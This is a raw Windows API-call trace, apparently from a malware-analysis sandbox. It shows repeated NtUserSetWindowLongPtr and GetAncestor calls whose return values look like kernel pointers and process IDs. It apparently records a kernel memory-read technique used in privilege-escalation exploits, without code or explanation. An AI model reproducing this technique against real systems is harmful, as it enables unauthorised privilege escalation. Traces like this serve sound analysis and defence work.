	[0073.501] NtUserSetWindowLongPtr () returned 0xffffe00130df5b30
	[0073.501] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30db7b30ffffe001
	[0073.501] NtUserSetWindowLongPtr () returned 0xffffe00130df5b34
	[0073.501] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.501] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x348
	[0073.502] NtUserSetWindowLongPtr () returned 0xffffe00130e0eb28
	[0073.502] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30e16b3000000000
	[0073.502] NtUserSetWindowLongPtr () returned 0xffffe00130e0eb2c
	[0073.502] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.502] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130e16b30
	[0073.502] NtUserSetWindowLongPtr () returned 0xffffe00130e0eb30
	[0073.502] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30df5b30ffffe001
	[0073.502] NtUserSetWindowLongPtr () returned 0xffffe00130e0eb34
	[0073.502] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.502] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x360
	[0073.502] NtUserSetWindowLongPtr () returned 0xffffe00130e16b28
	[0073.502] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30e19b3000000000
	[0073.502] NtUserSetWindowLongPtr () returned 0xffffe00130e16b2c
	[0073.502] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.502] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130e19b30
	[0073.502] NtUserSetWindowLongPtr () returned 0xffffe00130e16b30
	[0073.502] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30e0eb30ffffe001
	[0073.502] NtUserSetWindowLongPtr () returned 0xffffe00130e16b34
	[0073.502] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.502] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x378
	[0073.502] NtUserSetWindowLongPtr () returned 0xffffe00130e19b28
	[0073.502] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30e2773000000000
	[0073.502] NtUserSetWindowLongPtr () returned 0xffffe00130e19b2c
	[0073.503] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.503] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130e27730
	[0073.503] NtUserSetWindowLongPtr () returned 0xffffe00130e19b30
	[0073.503] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30e16b30ffffe001
	[0073.503] NtUserSetWindowLongPtr () returned 0xffffe00130e19b34
	[0073.503] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.503] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x384
	[0073.503] NtUserSetWindowLongPtr () returned 0xffffe00130e27728
	[0073.503] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30e9287000000000
	[0073.503] NtUserSetWindowLongPtr () returned 0xffffe00130e2772c
	[0073.503] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.503] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130e92870
	[0073.503] NtUserSetWindowLongPtr () returned 0xffffe00130e27730
	[0073.503] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30e19b30ffffe001
	[0073.503] NtUserSetWindowLongPtr () returned 0xffffe00130e27734
	[0073.503] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.503] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x264
	[0073.503] NtUserSetWindowLongPtr () returned 0xffffe00130e92868
	[0073.503] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30edb37000000000
	[0073.503] NtUserSetWindowLongPtr () returned 0xffffe00130e9286c
	[0073.503] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.503] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130edb370
	[0073.503] NtUserSetWindowLongPtr () returned 0xffffe00130e92870
	[0073.504] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30e27730ffffe001
	[0073.504] NtUserSetWindowLongPtr () returned 0xffffe00130e92874
	[0073.504] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.504] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2a0
	[0073.504] NtUserSetWindowLongPtr () returned 0xffffe00130edb368
	[0073.504] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30f2f37000000000
	[0073.504] NtUserSetWindowLongPtr () returned 0xffffe00130edb36c
	[0073.504] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.504] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130f2f370
	[0073.504] NtUserSetWindowLongPtr () returned 0xffffe00130edb370
	[0073.504] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30e92870ffffe001
	[0073.504] NtUserSetWindowLongPtr () returned 0xffffe00130edb374
	[0073.504] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.504] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x448
	[0073.504] NtUserSetWindowLongPtr () returned 0xffffe00130f2f368
	[0073.504] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30f5057000000000
	[0073.504] NtUserSetWindowLongPtr () returned 0xffffe00130f2f36c
	[0073.504] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.504] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130f50570
	[0073.504] NtUserSetWindowLongPtr () returned 0xffffe00130f2f370
	[0073.504] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30edb370ffffe001
	[0073.504] NtUserSetWindowLongPtr () returned 0xffffe00130f2f374
	[0073.504] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.505] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x45c
	[0073.505] NtUserSetWindowLongPtr () returned 0xffffe00130f50568
	[0073.505] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30f91b3000000000
	[0073.505] NtUserSetWindowLongPtr () returned 0xffffe00130f5056c
	[0073.505] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.505] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130f91b30
	[0073.505] NtUserSetWindowLongPtr () returned 0xffffe00130f50570
	[0073.505] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30f2f370ffffe001
	[0073.505] NtUserSetWindowLongPtr () returned 0xffffe00130f50574
	[0073.505] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.505] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x4e4
	[0073.505] NtUserSetWindowLongPtr () returned 0xffffe00130f91b28
	[0073.505] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30ff4b3000000000
	[0073.505] NtUserSetWindowLongPtr () returned 0xffffe00130f91b2c
	[0073.505] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.505] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130ff4b30
	[0073.505] NtUserSetWindowLongPtr () returned 0xffffe00130f91b30
	[0073.505] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30f50570ffffe001
	[0073.505] NtUserSetWindowLongPtr () returned 0xffffe00130f91b34
	[0073.505] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.505] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x608
	[0073.505] NtUserSetWindowLongPtr () returned 0xffffe00130ff4b28
	[0073.505] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x31106b3000000000
	[0073.506] NtUserSetWindowLongPtr () returned 0xffffe00130ff4b2c
	[0073.506] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.506] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00131106b30
	[0073.506] NtUserSetWindowLongPtr () returned 0xffffe00130ff4b30
	[0073.506] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30f91b30ffffe001
	[0073.506] NtUserSetWindowLongPtr () returned 0xffffe00130ff4b34
	[0073.506] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.506] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x7a8
	[0073.506] NtUserSetWindowLongPtr () returned 0xffffe00131106b28
	[0073.506] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x311ef7b000000000
	[0073.506] NtUserSetWindowLongPtr () returned 0xffffe00131106b2c
	[0073.506] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.506] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001311ef7b0
	[0073.506] NtUserSetWindowLongPtr () returned 0xffffe00131106b30
	[0073.506] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30ff4b30ffffe001
	[0073.506] NtUserSetWindowLongPtr () returned 0xffffe00131106b34
	[0073.506] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.506] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x7b4
	[0073.506] NtUserSetWindowLongPtr () returned 0xffffe001311ef7a8
	[0073.506] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x313c537000000000
	[0073.506] NtUserSetWindowLongPtr () returned 0xffffe001311ef7ac
	[0073.506] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.507] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001313c5370
	[0073.507] NtUserSetWindowLongPtr () returned 0xffffe001311ef7b0
	[0073.507] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x31106b30ffffe001
	[0073.507] NtUserSetWindowLongPtr () returned 0xffffe001311ef7b4
	[0073.507] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.507] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x4ec
	[0073.507] NtUserSetWindowLongPtr () returned 0xffffe001313c5368
	[0073.507] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3147f63000000000
	[0073.507] NtUserSetWindowLongPtr () returned 0xffffe001313c536c
	[0073.507] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.507] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0013147f630
	[0073.507] NtUserSetWindowLongPtr () returned 0xffffe001313c5370
	[0073.507] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x311ef7b0ffffe001
	[0073.507] NtUserSetWindowLongPtr () returned 0xffffe001313c5374
	[0073.507] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.507] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x5dc
	[0073.507] NtUserSetWindowLongPtr () returned 0xffffe0013147f628
	[0073.507] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x314b4b3000000000
	[0073.507] NtUserSetWindowLongPtr () returned 0xffffe0013147f62c
	[0073.507] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.507] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001314b4b30
	[0073.507] NtUserSetWindowLongPtr () returned 0xffffe0013147f630
	[0073.507] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x313c5370ffffe001
	[0073.508] NtUserSetWindowLongPtr () returned 0xffffe0013147f634
	[0073.508] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.508] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x818
	[0073.508] NtUserSetWindowLongPtr () returned 0xffffe001314b4b28
	[0073.508] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3161237000000000
	[0073.508] NtUserSetWindowLongPtr () returned 0xffffe001314b4b2c
	[0073.508] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.508] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00131612370
	[0073.508] NtUserSetWindowLongPtr () returned 0xffffe001314b4b30
	[0073.508] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3147f630ffffe001
	[0073.508] NtUserSetWindowLongPtr () returned 0xffffe001314b4b34
	[0073.508] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.508] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x9c0
	[0073.508] NtUserSetWindowLongPtr () returned 0xffffe00131612368
	[0073.508] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x311fab3000000000
	[0073.508] NtUserSetWindowLongPtr () returned 0xffffe0013161236c
	[0073.508] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.508] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001311fab30
	[0073.508] NtUserSetWindowLongPtr () returned 0xffffe00131612370
	[0073.508] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x314b4b30ffffe001
	[0073.508] NtUserSetWindowLongPtr () returned 0xffffe00131612374
	[0073.508] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.509] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xb7c
	[0073.509] NtUserSetWindowLongPtr () returned 0xffffe001311fab28
	[0073.509] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f7e9b3000000000
	[0073.509] NtUserSetWindowLongPtr () returned 0xffffe001311fab2c
	[0073.509] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.509] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0012f7e9b30
	[0073.509] NtUserSetWindowLongPtr () returned 0xffffe001311fab30
	[0073.509] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x31612370ffffe001
	[0073.509] NtUserSetWindowLongPtr () returned 0xffffe001311fab34
	[0073.509] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.509] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x8bc
	[0073.509] NtUserSetWindowLongPtr () returned 0xffffe0012f7e9b28
	[0073.509] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3061e4b000000000
	[0073.509] NtUserSetWindowLongPtr () returned 0xffffe0012f7e9b2c
	[0073.509] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.509] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0013061e4b0
	[0073.509] NtUserSetWindowLongPtr () returned 0xffffe0012f7e9b30
	[0073.509] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x311fab30ffffe001
	[0073.509] NtUserSetWindowLongPtr () returned 0xffffe0012f7e9b34
	[0073.509] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.509] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x158
	[0073.509] NtUserSetWindowLongPtr () returned 0xffffe0013061e4a8
	[0073.509] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2fe3e8f000000000
	[0073.510] NtUserSetWindowLongPtr () returned 0xffffe0013061e4ac
	[0073.510] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.510] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0012fe3e8f0
	[0073.510] NtUserSetWindowLongPtr () returned 0xffffe0013061e4b0
	[0073.510] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2f7e9b30ffffe001
	[0073.510] NtUserSetWindowLongPtr () returned 0xffffe0013061e4b4
	[0073.510] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.510] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x210
	[0073.510] NtUserSetWindowLongPtr () returned 0xffffe0012fe3e8e8
	[0073.510] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2fe7a8f000000000
	[0073.510] NtUserSetWindowLongPtr () returned 0xffffe0012fe3e8ec
	[0073.510] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.510] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0012fe7a8f0
	[0073.510] NtUserSetWindowLongPtr () returned 0xffffe0012fe3e8f0
	[0073.510] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3061e4b0ffffe001
	[0073.510] NtUserSetWindowLongPtr () returned 0xffffe0012fe3e8f4
	[0073.510] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.510] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x368
	[0073.510] NtUserSetWindowLongPtr () returned 0xffffe0012fe7a8e8
	[0073.510] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2fed1b3000000000
	[0073.510] NtUserSetWindowLongPtr () returned 0xffffe0012fe7a8ec
	[0073.510] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.511] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0012fed1b30
	[0073.511] NtUserSetWindowLongPtr () returned 0xffffe0012fe7a8f0
	[0073.511] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2fe3e8f0ffffe001
	[0073.511] NtUserSetWindowLongPtr () returned 0xffffe0012fe7a8f4
	[0073.511] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.511] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x454
	[0073.511] NtUserSetWindowLongPtr () returned 0xffffe0012fed1b28
	[0073.511] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3063d37000000000
	[0073.511] NtUserSetWindowLongPtr () returned 0xffffe0012fed1b2c
	[0073.511] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.511] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0013063d370
	[0073.511] NtUserSetWindowLongPtr () returned 0xffffe0012fed1b30
	[0073.511] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2fe7a8f0ffffe001
	[0073.511] NtUserSetWindowLongPtr () returned 0xffffe0012fed1b34
	[0073.511] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.511] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x7bc
	[0073.511] NtUserSetWindowLongPtr () returned 0xffffe0013063d368
	[0073.511] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30667b3000000000
	[0073.511] NtUserSetWindowLongPtr () returned 0xffffe0013063d36c
	[0073.511] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.511] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130667b30
	[0073.511] NtUserSetWindowLongPtr () returned 0xffffe0013063d370
	[0073.512] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x2fed1b30ffffe001
	[0073.512] NtUserSetWindowLongPtr () returned 0xffffe0013063d374
	[0073.512] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.512] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xbf4
	[0073.512] NtUserSetWindowLongPtr () returned 0xffffe00130667b28
	[0073.512] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x306c693000000000
	[0073.512] NtUserSetWindowLongPtr () returned 0xffffe00130667b2c
	[0073.512] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.512] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001306c6930
	[0073.512] NtUserSetWindowLongPtr () returned 0xffffe00130667b30
	[0073.512] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3063d370ffffe001
	[0073.512] NtUserSetWindowLongPtr () returned 0xffffe00130667b34
	[0073.512] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.512] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x624
	[0073.512] NtUserSetWindowLongPtr () returned 0xffffe001306c6928
	[0073.512] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x306dbb3000000000
	[0073.512] NtUserSetWindowLongPtr () returned 0xffffe001306c692c
	[0073.512] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.512] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001306dbb30
	[0073.512] NtUserSetWindowLongPtr () returned 0xffffe001306c6930
	[0073.512] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30667b30ffffe001
	[0073.512] NtUserSetWindowLongPtr () returned 0xffffe001306c6934
	[0073.513] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.513] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xb88
	[0073.513] NtUserSetWindowLongPtr () returned 0xffffe001306dbb28
	[0073.513] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3069ab3000000000
	[0073.513] NtUserSetWindowLongPtr () returned 0xffffe001306dbb2c
	[0073.513] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.513] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0013069ab30
	[0073.513] NtUserSetWindowLongPtr () returned 0xffffe001306dbb30
	[0073.513] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x306c6930ffffe001
	[0073.513] NtUserSetWindowLongPtr () returned 0xffffe001306dbb34
	[0073.513] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.513] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xb04
	[0073.513] NtUserSetWindowLongPtr () returned 0xffffe0013069ab28
	[0073.513] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3072d8f000000000
	[0073.513] NtUserSetWindowLongPtr () returned 0xffffe0013069ab2c
	[0073.513] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.513] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0013072d8f0
	[0073.513] NtUserSetWindowLongPtr () returned 0xffffe0013069ab30
	[0073.513] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x306dbb30ffffe001
	[0073.513] NtUserSetWindowLongPtr () returned 0xffffe0013069ab34
	[0073.513] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.513] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x8f8
	[0073.513] NtUserSetWindowLongPtr () returned 0xffffe0013072d8e8
	[0073.514] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30776b3000000000
	[0073.514] NtUserSetWindowLongPtr () returned 0xffffe0013072d8ec
	[0073.514] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.514] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130776b30
	[0073.514] NtUserSetWindowLongPtr () returned 0xffffe0013072d8f0
	[0073.514] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3069ab30ffffe001
	[0073.514] NtUserSetWindowLongPtr () returned 0xffffe0013072d8f4
	[0073.514] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.514] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xaf0
	[0073.514] NtUserSetWindowLongPtr () returned 0xffffe00130776b28
	[0073.514] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x307a8b3000000000
	[0073.514] NtUserSetWindowLongPtr () returned 0xffffe00130776b2c
	[0073.514] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.515] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001307a8b30
	[0073.515] NtUserSetWindowLongPtr () returned 0xffffe00130776b30
	[0073.515] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3072d8f0ffffe001
	[0073.515] NtUserSetWindowLongPtr () returned 0xffffe00130776b34
	[0073.515] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.515] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xb14
	[0073.515] NtUserSetWindowLongPtr () returned 0xffffe001307a8b28
	[0073.515] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x307ccb3000000000
	[0073.515] NtUserSetWindowLongPtr () returned 0xffffe001307a8b2c
	[0073.515] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.515] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001307ccb30
	[0073.515] NtUserSetWindowLongPtr () returned 0xffffe001307a8b30
	[0073.515] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30776b30ffffe001
	[0073.515] NtUserSetWindowLongPtr () returned 0xffffe001307a8b34
	[0073.515] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.515] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x908
	[0073.515] NtUserSetWindowLongPtr () returned 0xffffe001307ccb28
	[0073.515] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x307e7b3000000000
	[0073.515] NtUserSetWindowLongPtr () returned 0xffffe001307ccb2c
	[0073.515] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.515] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001307e7b30
	[0073.515] NtUserSetWindowLongPtr () returned 0xffffe001307ccb30
	[0073.515] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x307a8b30ffffe001
	[0073.515] NtUserSetWindowLongPtr () returned 0xffffe001307ccb34
	[0073.516] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.516] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3f8
	[0073.516] NtUserSetWindowLongPtr () returned 0xffffe001307e7b28
	[0073.516] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x307e093000000000
	[0073.516] NtUserSetWindowLongPtr () returned 0xffffe001307e7b2c
	[0073.516] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.516] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe001307e0930
	[0073.516] NtUserSetWindowLongPtr () returned 0xffffe001307e7b30
	[0073.516] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x307ccb30ffffe001
	[0073.516] NtUserSetWindowLongPtr () returned 0xffffe001307e7b34
	[0073.516] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.516] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x344
	[0073.516] NtUserSetWindowLongPtr () returned 0xffffe001307e0928
	[0073.516] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3081a37000000000
	[0073.516] NtUserSetWindowLongPtr () returned 0xffffe001307e092c
	[0073.516] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.516] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe0013081a370
	[0073.516] NtUserSetWindowLongPtr () returned 0xffffe001307e0930
	[0073.516] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x307e7b30ffffe001
	[0073.516] NtUserSetWindowLongPtr () returned 0xffffe001307e0934
	[0073.516] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.516] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x300
	[0073.516] NtUserSetWindowLongPtr () returned 0xffffe0013081a368
	[0073.517] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3081737000000000
	[0073.517] NtUserSetWindowLongPtr () returned 0xffffe0013081a36c
	[0073.517] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.517] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130817370
	[0073.517] NtUserSetWindowLongPtr () returned 0xffffe0013081a370
	[0073.517] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x307e0930ffffe001
	[0073.517] NtUserSetWindowLongPtr () returned 0xffffe0013081a374
	[0073.517] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.517] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xae0
	[0073.517] NtUserSetWindowLongPtr () returned 0xffffe00130817368
	[0073.517] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3084337000000000
	[0073.517] NtUserSetWindowLongPtr () returned 0xffffe0013081736c
	[0073.517] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.517] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130843370
	[0073.517] NtUserSetWindowLongPtr () returned 0xffffe00130817370
	[0073.517] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x3081a370ffffe001
	[0073.517] NtUserSetWindowLongPtr () returned 0xffffe00130817374
	[0073.517] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.517] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xbc4
	[0073.517] NtUserSetWindowLongPtr () returned 0xffffe00130843368
	[0073.517] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0x30aacb3000000000
	[0073.517] NtUserSetWindowLongPtr () returned 0xffffe0013084336c
	[0073.517] NtUserSetWindowLongPtr () returned 0xfffff90140800830
	[0073.518] GetAncestor (hwnd=0xc01fe, gaFlags=0x1) returned 0xffffe00130aacb30
	[0073.518] NtUserSetWindowLongPtr () returned 0xffffe00130843370
